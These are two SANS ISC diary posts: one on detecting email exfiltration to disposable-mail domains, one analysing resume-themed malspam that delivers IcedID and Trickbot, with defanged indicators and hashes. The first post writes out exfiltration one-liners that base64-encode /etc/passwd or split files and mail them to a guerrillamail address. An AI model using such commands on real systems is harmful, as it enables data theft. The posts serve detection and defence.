Keep an Eye on Disposable Email Addresses

Published: 2019-03-06. Last Updated: 2019-03-07 07:49:14 UTC
by Xavier Mertens (Version: 1)

In many organisations, emails still remain a classic infection path today. The good old email is still today a common communication channel to exchange information with people outside of the security perimeter. Many security controls are in place to reduce the number of malicious emails landing in users’ mailboxes. If, from a network perspective, firewalls inspect traffic in both directions (“egress” and “ingress” filters), it’s not always the case with email flows. They are often just allowed to go out through local MTA’s (Mail Transfert Agents).

From a malware point of view, inspecting outgoing emails for malicious content is less critical. Except if the mail server is being compromized or left open to send massive waves of malicious messages, we can assume that internal emails are “clean” but what about data exfiltration? A DLP ("Data Leak Prevention") tool could sometimes spot interesting content but I'm not a big fan of such solution. Today, most content is obfuscated or encrypted. We can try to spot suspicious activity just be having a look at our logs. Yes, logs are mandatory if you did not know yet!

I found on github.com some compiled lists of domains used by free mail providers or disposable (“temporary”) email providers (like the well-known guerrillamail.com[1]). I'm a big fan of such services, especially when I'm forced by a vendor to fill a form with my contact details just to download a white-paper or a report.

I compiled my own list[2] and started to correlate these domains with a lot of events generated by different MTA’s (I’m lucky to have access to big networks). Guess what? I found many suspicious communications with disposable email providers. What did I found?

A user who probably setup a forward rule to send a copy of all his/her emails to a free email address (Is it allowed by your policy?)

Users who sent emails to disposable email addresses with the subject “to print”, “to review” or “to read”. Probably to work from a remote location.

Users who sent official documents to a known partner who was using a free email address (in this case, it was an embassy!)

Often, sending emais is very convenient because you just need to use the available mail servers inside the infrastructure. Emails are just allowed because it's a classic way for the IT team to get results of scripts, backups, etc. So convenient! Emails can also by generated from scripts (Shell, Python, …) with just a one-liner:

$ base64 </etc/passwd | mail bad.guy@guerrillamail.com

The exfiltration of big files is easy:

$ cat bigfile.tgz \
| split -b 2000 && for f in xa*; do base64 $f \
| mail -s $f bad.guy@guerillamail.com; done

Check also for beaconing (emails sent a regular interval to the same destination - ex: 1 email every 2h)

What about blocking outgoing emails to those domains? It must be decided case by case, depending on your environment and your business. In the environment where I found the case described above, it's simply not possible to block all of them.

[1] https://www.guerrillamail.com
[2] https://github.com/xme/SANS-ISC/blob/master/disposable-free-email-domains.csv

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Keywords: Disposable DLP Email Exfiltration SMTP

0 comment(s)

March Edition of Ouch! Newsletter: Securely Disposing Mobile Devices https://www.sans.org/security-awareness-training/resources/disposing-your-mobile-device

ISC Stormcast For Wednesday, March 6th 2019 https://isc.sans.edu/podcastdetail.html?id=6400

Malspam with password-protected word docs still pushing IcedID (Bokbot) with Trickbot

Published: 2019-03-06. Last Updated: 2019-03-06 00:08:25 UTC
by Brad Duncan (Version: 1)

0 comment(s)

Introduction

Malicious spam (malspam) using attached password-protected Word documents is a long-running campaign that I and others have occasionally documented. This campaign has a history of pushing various types of ransomware and information stealers. I previously wrote about this campaign in December 2018, when it started pushing IcedID (Bokbot).

It's still active using resume-themed malspam. And it's still pushing IcedID. But ever since February 2019, IcedID has been following up with Trickbot as described by Crowdstrike here. Because of this recent change, we should again review infection activity from this campaign. Today's diary examines an infection from Monday 2019-03-04.

Shown above: Flow chart for infection activity on Monday 2019-03-04.

The malspam and attached Word docs

Emails from this malspam campaign started again on Tuesday 2019-03-05. All attached document names end with Resume.doc and all email addresses end with @cox.net. All attached Word documents were 37,888 bytes. Here is a list of 30 examples:

Read: Date/Time -- Attachment name -- Sending address (spoofed) -- Subject

2019-03-05 21:40 UTC -- Tricia Cogswell Resume.doc -- lyndsaybit@cox.net -- Job
2019-03-05 21:15 UTC -- Rhiannon Litwin Resume.doc -- cjhol@cox.net -- Regarding Job
2019-03-05 20:51 UTC -- Kasey Rohloff Resume.doc -- kennida@cox.net -- Job
2019-03-05 20:37 UTC -- Roxane Beverley Resume.doc -- twatson12@cox.net -- Regarding Job
2019-03-05 20:16 UTC -- Marhta Sessler Resume.doc -- rmferb@cox.net -- Regarding Job
2019-03-05 20:04 UTC -- Tam Skipworth Resume.doc -- daviddntulsaok@cox.net -- Hiring
2019-03-05 20:01 UTC -- Arminda Fortson Resume.doc -- rpierce20@cox.net -- Hiring
2019-03-05 19:52 UTC -- Roxane Beverley Resume.doc -- suethill1027@cox.net -- Hiring
2019-03-05 19:32 UTC -- Randolph Nelsen Resume.doc -- darshnabisht@cox.net -- Job Application
2019-03-05 19:28 UTC -- Angie Pirkle Resume.doc -- raymond.hintz@cox.net -- Job Application
2019-03-05 19:19 UTC -- Kelvin Quarterman Resume.doc -- marktrent@cox.net -- Hiring
2019-03-05 18:56 UTC -- Shona Dyck Resume.doc -- kbrutus1@cox.net -- Regarding Job
2019-03-05 18:36 UTC -- Madeleine Valero Resume.doc -- richeather@cox.net -- Job Application
2019-03-05 18:02 UTC -- Lashawn Bilal Resume.doc -- petabray@cox.net -- Job
2019-03-05 17:40 UTC -- Sunny Osgood Resume.doc -- sagrace35@cox.net -- Hiring
2019-03-05 17:23 UTC -- Tam Skipworth Resume.doc -- traceym@cox.net -- application
2019-03-05 17:16 UTC -- Vicky Linsey Resume.doc -- rblang@cox.net -- Regarding position
2019-03-05 17:09 UTC -- Tam Skipworth Resume.doc -- wildetz@cox.net -- Regarding position
2019-03-05 17:06 UTC -- Tam Skipworth Resume.doc -- carolsaliba@cox.net -- Regarding position
2019-03-05 16:41 UTC -- Kelvin Quarterman Resume.doc -- david.casper@cox.net -- Job Application
2019-03-05 16:06 UTC -- Tam Skipworth Resume.doc -- gigismom@cox.net -- Regarding position
2019-03-05 16:03 UTC -- Lana Sines Resume.doc -- blcollins@cox.net -- Hiring
2019-03-05 16:02 UTC -- Rhiannon Litwin Resume.doc -- isrosa@cox.net -- Regarding Job
2019-03-05 16:01 UTC -- Livia Westlake Resume.doc -- gkoenig@cox.net -- Job Application
2019-03-05 15:50 UTC -- Livia Westlake Resume.doc -- bhubler@cox.net -- Regarding position
2019-03-05 15:41 UTC -- Shandi Stribling Resume.doc -- afw2153@cox.net -- Regarding Job
2019-03-05 15:26 UTC -- Kylee Chiles Resume.doc -- danawood@cox.net -- Regarding Job
2019-03-05 15:06 UTC -- Livia Westlake Resume.doc -- luizaion@cox.net -- Hiring
2019-03-05 14:56 UTC -- Kelvin Quarterman Resume.doc -- jollyjanuary@cox.net -- Regarding position
2019-03-05 14:56 UTC -- Alona Mcferren Resume.doc -- finddeb2@cox.net -- application

On Monday 2019-03-04, I searched VirusTotal Intelligence for Word documents with Resume.doc as part of the file name, and were 37,888 bytes in size. I found several results and chose one of the more recent examples to generate an infection in my lab environment. These files show a low detection rate in VirusTotal, probably because they are password-protected.

Shown above: Search results in VirusTotal Intelligence from Monday 2019-03-04.

I found an example from Wednesday 2019-02-27 that came from malspam as shown in the images below.

Shown above: Example of the malspam and attached Word document.

Shown above: Attached Word document after unlocked with the password 1234.

Infection traffic

Shown above: Traffic from the infection filtered in Wireshark.

In the above image, an infected Windows client is on 10.3.4.101, and the domain controller (DC) is on 10.3.4.2. Traffic shows the Windows client first infected with IcedID. Shortly after the initial infection, the client retrieves Trickbot spreader EXEs that download and send Trickbot to the DC.

Evil macro retrieves EXE for IcedID (Bokbot):

209.141.55[.]226 port 80 - 209.141.55[.]226 - GET /troll1.jpg

IcedID (Bokbot) infection traffic:

146.120.110[.]93 port 443 - detecture[.]pw - HTTPS/SSL/TLS traffic caused by IcedID (Bokbot)
146.120.110[.]93 port 80 - govenian[.]host - GET /data2.php?0123456789ABCDEF
146.120.110[.]93 port 443 - govenian[.]host - Client Hello
85.246.116[.]239 port 443 - matchippsi[.]com - attempted TCP connections, but no response from server
188.127.239[.]51 port 80 and 443 - thracial[.]pw - attempted TCP connections, but no response from server
188.127.239[.]51 port 80 and 443 - saudienter[.]pw - attempted TCP connections, but no response from server
87.236.22[.]142 port 80 and 443 - superhaps[.]pw - attempted TCP connections, but no response from server
87.236.22[.]142 port 80 and 443 - maalous[.]pw - attempted TCP connections, but no response from server

IcedID (Bokbot) infection traffic related to Trickbot propagation:

46.249.62[.]199 port 80 - 46.249.62[.]199 - GET /Tinx86_14.exe
46.249.62[.]199 port 80 - 46.249.62[.]199 - GET /Sw9JKmXqaSj.exe
94.250.253[.]158 port 80 - 94.250.253[.]158 - GET /sin.png
94.250.253[.]158 port 80 - 94.250.253[.]158 - GET /tin.png

Trickbot infection traffic:

port 80 - ip.anysrc[.]net - GET /plain
192.243.102[.]170 port 447 - HTTPS/SSL/TLS traffic caused by Trickbot
185.255.79[.]113 port 443 - HTTPS/SSL/TLS traffic caused by Trickbot
212.80.216[.]238 port 447 - HTTPS/SSL/TLS traffic caused by Trickbot
179.189.241[.]254 port 449 - HTTPS/SSL/TLS traffic caused by Trickbot
94.140.125[.]131 port 443 - HTTPS/SSL/TLS traffic caused by Trickbot
103.119.144[.]250 port 8082 - 103.119.144[.]250:8082 - POST /tin20/[string of characters]

Malware

SHA256 hash: bfda463352e31502f70eacc46827e505ebae681dce1211aa11a12eb693803790

File size: 37,888 bytes
File name: Dominga Adkinson Resume.doc
File description: Password-protected Word doc with evil macro designed to install malware

SHA256 hash: 62b7fbffd000a8d747c55260f0b867d09bc4ad19b2b657fb9ee3744c12b87257

File size: 707,584 bytes
File location: hxxp://209.141.55[.]226/troll1.jpg
File location: C:\Users\[username]\AppData\Local\Temp\qwerty2.exe
File description: IcedID (Bokbot) malware retrieved by evil macro

SHA256 hash: 046482ac16d538f1ab105669c8355cf6c6444e3310b1819fd7c38ace18b049fa

File size: 327,733 bytes
File location: hxxp://46.249.62[.]199/Sw9JKmXqaSj.exe
File description: Trickbot downloader (1 of 2) retrieved from 46.249.62[.]199 by IcedID-infected host

SHA256 hash: 38155ede329f41fd733d2abaceb5064494e33ea2d697add430d400c45eab6633

File size: 2,977,845 bytes
File location: hxxp://46.249.62[.]199/Tinx86_14.exe
File description: Trickbot downloader (2 of 2) retrieved from 46.249.62[.]199 by IcedID-infected host

SHA256 hash: cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560

File size: 115,712 bytes
File description: Trickbot-related executable found on the infected DC

SHA256 hash: 578025955b8e7de29489dbb3d077e524a9ca7afdeff7d41afbd39b628550a027

File size: 847,872 bytes
File location: hxxp://94.250.253[.]158/sin.png
File description: Trickbot EXE retrieved from 94.250.253[.]158 by infected client

SHA256 hash: f6e8302d9c3e043d208d60af280e7a30bc08a3d235c797f2cd8b0bb53116230c

File size: 847,872 bytes
File location: hxxp://94.250.253[.]158/tin.png
File location: C:\Users\Default\AppData\Roaming\wnetwork\y5lwqmn_ch72bggm929d5m6zkqado3179zfrqa67ekdd5bwatve7_zzu6p9vjob0.exe
File description: Trickbot EXE retrieved from 94.250.253[.]158 by infected client and used to infect the DC

Final words

Most interesting was the Windows client initially infected with IcedID. This client was not infected with Trickbot. Trickbot downloaders (Sw9JKmXqaSj.exe and Tinx86_14.exe) retrieved by my IcedID-infected client sent a Trickbot EXE (tin.png) to the DC over SMB using an ETERNALBLUE-style exploit. But any Trickbot EXEs downloaded from 94.250.253[.]158 (sin.png and tin.png) were not executed on the Windows client. In two previous examples from February 2019 (here and here) both client and DC were infected with Trickbot, but the DC was always infected first. From there, Trickbot spread from the DC to my IcedID-infected Windows client.

In my example from Monday 2019-03-04 for today's diary, Trickbot didn't propagate back to the original Windows client. If I'd waited long enough for all Trickbot modules to load on the DC, perhaps it would've spread back to the client as seen in previous examples.

A pcap of the infection traffic and malware associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Keywords: Bokbot IcedID malspam Trickbot

0 comment(s)